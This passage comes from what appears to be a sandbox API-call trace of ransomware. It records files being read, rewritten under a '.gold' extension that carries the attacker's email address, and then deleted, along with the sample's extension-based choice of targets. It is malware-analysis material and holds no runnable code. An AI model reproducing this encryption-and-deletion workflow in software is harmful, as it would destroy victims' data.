liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248 [0057.013] GetLastError () returned 0x0 [0057.013] ReadFile (in: hFile=0x21c, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x73bc, lpOverlapped=0x0) returned 1 [0057.015] WriteFile (in: hFile=0x248, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x73c0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x73c0, lpOverlapped=0x0) returned 1 [0057.016] ReadFile (in: hFile=0x21c, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.016] WriteFile (in: hFile=0x248, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.016] SetEndOfFile (hFile=0x248) returned 1 [0057.016] CloseHandle (hObject=0x248) returned 1 [0057.016] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.016] SetEndOfFile (hFile=0x21c) returned 1 [0057.017] CloseHandle (hObject=0x21c) returned 1 [0057.017] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0057.017] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf")) returned 1 [0057.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0057.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0057.017] lstrlenW (lpString=".doc") returned 4 [0057.017] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.017] lstrlenW (lpString=".docx") returned 5 [0057.017] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.017] lstrlenW (lpString=".pdf") returned 4 [0057.017] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.017] lstrlenW (lpString=".xls") returned 4 [0057.017] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.017] lstrlenW (lpString=".xlsx") returned 5 [0057.017] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.017] lstrlenW (lpString=".ppt") returned 4 [0057.017] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0057.017] lstrlenW (lpString=".zip") returned 4 [0057.017] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.017] lstrlenW (lpString=".rar") returned 4 [0057.017] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.017] lstrlenW (lpString=".bz2") returned 4 [0057.017] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.017] lstrlenW (lpString=".7z") returned 3 [0057.017] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0057.018] lstrlenW (lpString=".dbf") returned 4 [0057.018] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0057.018] lstrlenW (lpString=".1cd") returned 4 [0057.018] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0057.018] lstrlenW (lpString=".jpg") returned 4 [0057.018] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0057.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0057.018] lstrlenW (lpString=".doc") returned 4 [0057.018] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.018] lstrlenW (lpString=".docx") returned 5 [0057.018] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.018] lstrlenW (lpString=".pdf") returned 4 [0057.018] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.018] lstrlenW (lpString=".xls") returned 4 [0057.018] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.018] lstrlenW (lpString=".xlsx") returned 5 [0057.018] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.018] lstrlenW (lpString=".ppt") returned 4 [0057.018] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0057.018] lstrlenW (lpString=".zip") returned 4 [0057.018] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.018] lstrlenW (lpString=".rar") returned 4 [0057.018] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.018] lstrlenW (lpString=".bz2") returned 4 [0057.018] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.018] lstrlenW (lpString=".7z") returned 3 [0057.018] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0057.018] lstrlenW (lpString=".dbf") returned 4 [0057.018] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0057.018] lstrlenW (lpString=".1cd") returned 4 [0057.018] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0057.018] lstrlenW (lpString=".jpg") returned 4 [0057.018] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.018] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0057.018] lstrlenW (lpString="DD00255_.WMF") returned 12 [0057.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0057.020] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=2690) returned 1 [0057.020] CloseHandle (hObject=0x21c) returned 1 [0057.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf")) returned 0x20 [0057.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0057.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0057.020] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.020] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248 [0057.020] GetLastError () returned 0x0 [0057.020] ReadFile (in: hFile=0x21c, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0xa82, lpOverlapped=0x0) returned 1 [0057.022] WriteFile (in: hFile=0x248, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xa90, lpOverlapped=0x0) returned 1 [0057.023] ReadFile (in: hFile=0x21c, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.023] WriteFile (in: hFile=0x248, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.023] SetEndOfFile (hFile=0x248) returned 1 [0057.023] CloseHandle (hObject=0x248) returned 1 [0057.023] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.024] SetEndOfFile (hFile=0x21c) returned 1 [0057.024] CloseHandle (hObject=0x21c) returned 1 [0057.024] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0057.025] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf")) returned 1 [0057.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0057.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0057.025] lstrlenW (lpString=".doc") returned 4 [0057.025] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.025] lstrlenW (lpString=".docx") returned 5 [0057.025] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.025] lstrlenW (lpString=".pdf") returned 4 [0057.025] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.025] lstrlenW (lpString=".xls") returned 4 [0057.025] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.025] lstrlenW (lpString=".xlsx") returned 5 [0057.025] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.025] lstrlenW (lpString=".ppt") returned 4 [0057.025] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0057.025] lstrlenW (lpString=".zip") returned 4 [0057.025] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.025] lstrlenW (lpString=".rar") returned 4 [0057.025] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.025] lstrlenW (lpString=".bz2") returned 4 [0057.025] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.026] lstrlenW (lpString=".7z") returned 3 [0057.026] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0057.026] lstrlenW (lpString=".dbf") returned 4 [0057.026] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0057.026] lstrlenW (lpString=".1cd") returned 4 [0057.026] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0057.026] lstrlenW (lpString=".jpg") returned 4 [0057.026] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0057.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0057.026] lstrlenW (lpString=".doc") returned 4 [0057.026] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.026] lstrlenW (lpString=".docx") returned 5 [0057.026] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.026] lstrlenW (lpString=".pdf") returned 4 [0057.026] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.026] lstrlenW (lpString=".xls") returned 4 [0057.026] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.026] lstrlenW (lpString=".xlsx") returned 5 [0057.026] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.026] lstrlenW (lpString=".ppt") returned 4 [0057.026] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0057.026] lstrlenW (lpString=".zip") returned 4 [0057.026] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.026] lstrlenW (lpString=".rar") returned 4 [0057.026] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.026] lstrlenW (lpString=".bz2") returned 4 [0057.026] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.026] lstrlenW (lpString=".7z") returned 3 [0057.026] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0057.026] lstrlenW (lpString=".dbf") returned 4 [0057.026] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0057.026] lstrlenW (lpString=".1cd") returned 4 [0057.026] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0057.026] lstrlenW (lpString=".jpg") returned 4 [0057.026] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.026] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0057.027] lstrlenW (lpString="DD00256_.WMF") returned 12 [0057.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0057.027] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=2832) returned 1 [0057.027] CloseHandle (hObject=0x21c) returned 1 [0057.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf")) returned 0x20 [0057.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0057.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0057.027] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.027] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248 [0057.028] GetLastError () returned 0x0 [0057.028] ReadFile (hFile=0x21c, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0) Thread: id = 17 os_tid = 0x184 [0033.900] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10000) returned 0x38d06b0 [0033.900] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10000) returned 0x38e06b8 [0033.900] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d0428 [0033.900] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x6) returned 0x8d30e8 [0033.900] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d0440 [0033.900] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x100000) returned 0x3da0020 [0033.901] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d0458 [0033.901] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d0458, Size=0x20) returned 0x8ff938 [0033.901] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d0458 [0033.901] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d0458, Size=0x20) returned 0x8ff910 [0033.901] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76ac0000 [0033.901] GetProcAddress (hModule=0x76ac0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76aed650 [0033.901] Wow64DisableWow64FsRedirection (in: OldValue=0x32aff58 | out: OldValue=0x32aff58*=0x0) returned 1 [0033.901] lstrlenW (lpString="kernel32.dll") returned 12 [0033.901] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8ff938 | out: hHeap=0x880000) returned 1 [0033.901] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0033.901] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8ff910 | out: hHeap=0x880000) returned 1 [0033.901] Sleep (dwMilliseconds=0x64) [0034.491] lstrlenW (lpString="BCD") returned 3 [0034.491] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0034.491] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0034.491] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0034.491] lstrlenW (lpString=".doc") returned 4 [0034.491] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0034.491] lstrlenW (lpString=".docx") returned 5 [0034.491] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0034.491] lstrlenW (lpString=".pdf") returned 4 [0034.491] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0034.491] lstrlenW (lpString=".xls") returned 4 [0034.491] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0034.491] lstrlenW (lpString=".xlsx") returned 5 [0034.491] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0034.491] lstrlenW (lpString=".ppt") returned 4 [0034.491] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0034.491] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0034.491] lstrlenW (lpString=".zip") returned 4 [0034.491] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0034.491] lstrlenW (lpString=".rar") returned 4 [0034.491] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0034.491] lstrlenW (lpString=".bz2") returned 4 [0034.491] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0034.491] lstrlenW (lpString=".7z") returned 3 [0034.491] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0034.491] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0034.491] lstrlenW (lpString=".dbf") returned 4 [0034.491] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0034.491] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0034.491] lstrlenW (lpString=".1cd") returned 4 [0034.491] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0034.491] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0034.491] lstrlenW (lpString=".jpg") returned 4 [0034.491] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0034.492] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0034.492] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0034.492] lstrlenW (lpString=".doc") returned 4 [0034.492] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0034.492] lstrlenW (lpString=".docx") returned 5 [0034.492] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0034.492] lstrlenW (lpString=".pdf") returned 4 [0034.492] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0034.492] lstrlenW (lpString=".xls") returned 4 [0034.492] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0034.492] lstrlenW (lpString=".xlsx") returned 5 [0034.492] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0034.492] lstrlenW (lpString=".ppt") returned 4 [0034.492] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0034.492] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0034.492] lstrlenW (lpString=".zip") returned 4 [0034.492] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0034.492] lstrlenW (lpString=".rar") returned 4 [0034.492] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0034.492] lstrlenW (lpString=".bz2") returned 4 [0034.492] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0034.492] lstrlenW (lpString=".7z") returned 3 [0034.492] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0034.492] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0034.492] lstrlenW (lpString=".dbf") returned 4 [0034.492] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0034.492] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0034.492] lstrlenW (lpString=".1cd") returned 4 [0034.492] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0034.492] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0034.492] lstrlenW (lpString=".jpg") returned 4 [0034.492] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0034.492] lstrcmpiW (lpString1=".LOG1", lpString2=".gold") returned 1 [0034.492] lstrlenW (lpString="BCD.LOG1") returned 8 [0034.492] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0034.493] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=0) returned 1 [0034.493] CloseHandle (hObject=0x178) returned 1 [0034.493] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0034.493] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0034.493] lstrlenW (lpString=".doc") returned 4 [0034.493] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0034.493] lstrlenW (lpString=".docx") returned 5 [0034.493] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0034.493] lstrlenW (lpString=".pdf") returned 4 [0034.493] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0034.493] lstrlenW (lpString=".xls") returned 4 [0034.493] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0034.493] lstrlenW (lpString=".xlsx") returned 5 [0034.493] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0034.493] lstrlenW (lpString=".ppt") returned 4 [0034.493] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0034.493] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0034.493] lstrlenW (lpString=".zip") returned 4 [0034.493] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0034.493] lstrlenW (lpString=".rar") returned 4 [0034.493] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0034.493] lstrlenW (lpString=".bz2") returned 4 [0034.493] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0034.493] lstrlenW (lpString=".7z") returned 3 [0034.493] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0034.493] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0034.493] lstrlenW (lpString=".dbf") returned 4 [0034.493] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0034.493] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0034.493] lstrlenW (lpString=".1cd") returned 4 [0034.493] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0034.493] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0034.493] lstrlenW (lpString=".jpg") returned 4 [0034.493] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0034.493] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0034.493] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0034.493] lstrlenW (lpString=".doc") returned 4 [0034.493] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0034.494] lstrlenW (lpString=".docx") returned 5 [0034.494] lstrcmpiW 